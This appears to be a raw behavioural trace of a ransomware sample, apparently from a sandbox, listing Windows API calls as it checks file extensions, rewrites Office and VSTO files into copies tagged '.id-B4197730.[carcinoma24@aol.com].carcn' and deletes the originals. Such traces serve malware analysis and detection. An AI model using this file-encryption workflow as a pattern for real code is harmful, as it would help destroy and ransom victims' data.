lstrlenW (lpString=".zip") returned 4 [0296.195] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0296.195] lstrlenW (lpString=".rar") returned 4 [0296.195] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0296.195] lstrlenW (lpString=".bz2") returned 4 [0296.195] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0296.195] lstrlenW (lpString=".7z") returned 3 [0296.195] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0296.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.195] lstrlenW (lpString=".dbf") returned 4 [0296.195] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0296.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.196] lstrlenW (lpString=".1cd") returned 4 [0296.196] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0296.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.196] lstrlenW (lpString=".jpg") returned 4 [0296.196] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0296.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.196] lstrlenW (lpString=".doc") returned 4 [0296.196] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0296.196] lstrlenW (lpString=".docx") returned 5 [0296.196] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0296.196] lstrlenW (lpString=".pdf") returned 4 [0296.196] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0296.196] lstrlenW (lpString=".xls") returned 4 [0296.196] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0296.196] lstrlenW (lpString=".xlsx") returned 5 [0296.196] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0296.196] lstrlenW (lpString=".ppt") returned 4 [0296.196] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0296.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.196] lstrlenW (lpString=".zip") returned 4 [0296.196] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0296.196] lstrlenW (lpString=".rar") returned 4 [0296.196] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0296.196] lstrlenW (lpString=".bz2") returned 4 [0296.196] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0296.196] lstrlenW (lpString=".7z") returned 3 [0296.196] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0296.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.197] lstrlenW (lpString=".dbf") returned 4 [0296.197] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0296.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.197] lstrlenW (lpString=".1cd") returned 4 [0296.197] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0296.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.197] lstrlenW (lpString=".jpg") returned 4 [0296.197] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0296.197] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0296.197] lstrlenW (lpString="pidgenx.dll") returned 11 [0296.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0296.198] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1475160) returned 1 [0296.198] CloseHandle (hObject=0x334) returned 1 [0296.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0296.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0296.199] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.199] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0296.200] GetLastError () returned 0x0 [0296.200] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0296.270] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0297.287] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x68268, lpOverlapped=0x0) returned 1 [0297.310] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x68270, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x68270, lpOverlapped=0x0) returned 1 [0297.353] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.353] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xea, lpOverlapped=0x0) returned 1 [0297.354] SetEndOfFile (hFile=0x360) returned 1 [0297.356] CloseHandle (hObject=0x360) returned 1 [0297.359] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.396] SetEndOfFile (hFile=0x334) returned 1 [0297.415] CloseHandle (hObject=0x334) returned 1 [0297.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.416] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1 [0297.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.416] lstrlenW (lpString=".doc") returned 4 [0297.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.416] lstrlenW (lpString=".docx") returned 5 [0297.416] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0297.416] lstrlenW (lpString=".pdf") returned 4 [0297.416] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.417] lstrlenW (lpString=".xls") returned 4 [0297.417] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.417] lstrlenW (lpString=".xlsx") returned 5 [0297.417] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0297.417] lstrlenW (lpString=".ppt") returned 4 [0297.417] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.417] lstrlenW (lpString=".zip") returned 4 [0297.417] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.417] lstrlenW (lpString=".rar") returned 4 [0297.417] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.417] lstrlenW (lpString=".bz2") returned 4 [0297.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.417] lstrlenW (lpString=".7z") returned 3 [0297.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.417] lstrlenW (lpString=".dbf") returned 4 [0297.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.417] lstrlenW (lpString=".1cd") returned 4 [0297.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.417] lstrlenW (lpString=".jpg") returned 4 [0297.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.418] lstrlenW (lpString=".doc") returned 4 [0297.418] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.418] lstrlenW (lpString=".docx") returned 5 [0297.418] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0297.418] lstrlenW (lpString=".pdf") returned 4 [0297.418] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.418] lstrlenW (lpString=".xls") returned 4 [0297.418] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.418] lstrlenW (lpString=".xlsx") returned 5 [0297.418] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0297.418] lstrlenW (lpString=".ppt") returned 4 [0297.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.418] lstrlenW (lpString=".zip") returned 4 [0297.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.418] lstrlenW (lpString=".rar") returned 4 [0297.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.418] lstrlenW (lpString=".bz2") returned 4 [0297.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.418] lstrlenW (lpString=".7z") returned 3 [0297.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.418] lstrlenW (lpString=".dbf") returned 4 [0297.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.419] lstrlenW (lpString=".1cd") returned 4 [0297.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0297.419] lstrlenW (lpString=".jpg") returned 4 [0297.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.419] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.419] lstrlenW (lpString="vstoee100.tlb") returned 13 [0297.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0297.420] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=17048) returned 1 [0297.420] CloseHandle (hObject=0x334) returned 1 [0297.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0297.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0297.420] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.420] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0297.421] GetLastError () returned 0x0 [0297.421] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x4298, lpOverlapped=0x0) returned 1 [0297.462] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x42a0, lpOverlapped=0x0) returned 1 [0297.463] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.463] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xee, lpOverlapped=0x0) returned 1 [0297.463] SetEndOfFile (hFile=0x360) returned 1 [0297.464] CloseHandle (hObject=0x360) returned 1 [0297.464] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.464] SetEndOfFile (hFile=0x334) returned 1 [0297.465] CloseHandle (hObject=0x334) returned 1 [0297.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.465] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1 [0297.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.466] lstrlenW (lpString=".doc") returned 4 [0297.466] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.466] lstrlenW (lpString=".docx") returned 5 [0297.466] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0297.466] lstrlenW (lpString=".pdf") returned 4 [0297.466] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.466] lstrlenW (lpString=".xls") returned 4 [0297.466] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.466] lstrlenW (lpString=".xlsx") returned 5 [0297.466] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0297.466] lstrlenW (lpString=".ppt") returned 4 [0297.466] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.466] lstrlenW (lpString=".zip") returned 4 [0297.466] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.466] lstrlenW (lpString=".rar") returned 4 [0297.466] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.466] lstrlenW (lpString=".bz2") returned 4 [0297.466] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.466] lstrlenW (lpString=".7z") returned 3 [0297.466] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.466] lstrlenW (lpString=".dbf") returned 4 [0297.466] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.466] lstrlenW (lpString=".1cd") returned 4 [0297.466] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.467] lstrlenW (lpString=".jpg") returned 4 [0297.467] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.467] lstrlenW (lpString=".doc") returned 4 [0297.467] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.467] lstrlenW (lpString=".docx") returned 5 [0297.467] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0297.467] lstrlenW (lpString=".pdf") returned 4 [0297.467] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.467] lstrlenW (lpString=".xls") returned 4 [0297.467] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.467] lstrlenW (lpString=".xlsx") returned 5 [0297.467] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0297.467] lstrlenW (lpString=".ppt") returned 4 [0297.467] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.467] lstrlenW (lpString=".zip") returned 4 [0297.467] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.467] lstrlenW (lpString=".rar") returned 4 [0297.467] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.467] lstrlenW (lpString=".bz2") returned 4 [0297.467] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.467] lstrlenW (lpString=".7z") returned 3 [0297.467] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0297.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.468] lstrlenW (lpString=".dbf") returned 4 [0297.468] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0297.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.468] lstrlenW (lpString=".1cd") returned 4 [0297.468] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0297.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0297.468] lstrlenW (lpString=".jpg") returned 4 [0297.468] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0297.468] lstrcmpiW (lpString1=".tlb", lpString2=".carcn") returned 1 [0297.468] lstrlenW (lpString="vstoee90.tlb") returned 12 [0297.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0297.469] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=22680) returned 1 [0297.469] CloseHandle (hObject=0x334) returned 1 [0297.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0297.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0297.469] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.469] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0297.471] GetLastError () returned 0x0 [0297.471] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x5898, lpOverlapped=0x0) returned 1 [0297.512] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x58a0, lpOverlapped=0x0) returned 1 [0297.514] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.514] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.514] SetEndOfFile (hFile=0x360) returned 1 [0297.514] CloseHandle (hObject=0x360) returned 1 [0297.514] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.514] SetEndOfFile (hFile=0x334) returned 1 [0297.515] CloseHandle (hObject=0x334) returned 1 [0297.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.516] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1 [0297.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.516] lstrlenW (lpString=".doc") returned 4 [0297.516] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0297.516] lstrlenW (lpString=".docx") returned 5 [0297.516] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0297.516] lstrlenW (lpString=".pdf") returned 4 [0297.516] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0297.516] lstrlenW (lpString=".xls") returned 4 [0297.516] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0297.516] lstrlenW (lpString=".xlsx") returned 5 [0297.516] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0297.516] lstrlenW (lpString=".ppt") returned 4 [0297.517] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0297.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0297.517] lstrlenW (lpString=".zip") returned 4 [0297.517] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0297.517] lstrlenW (lpString=".rar") returned 4 [0297.517] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0297.517] lstrlenW (lpString=".bz2") returned 4 [0297.517] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0297.517] lstrlenW (lpString=".7z") returned 3 [0297.517] lstrcmpiW 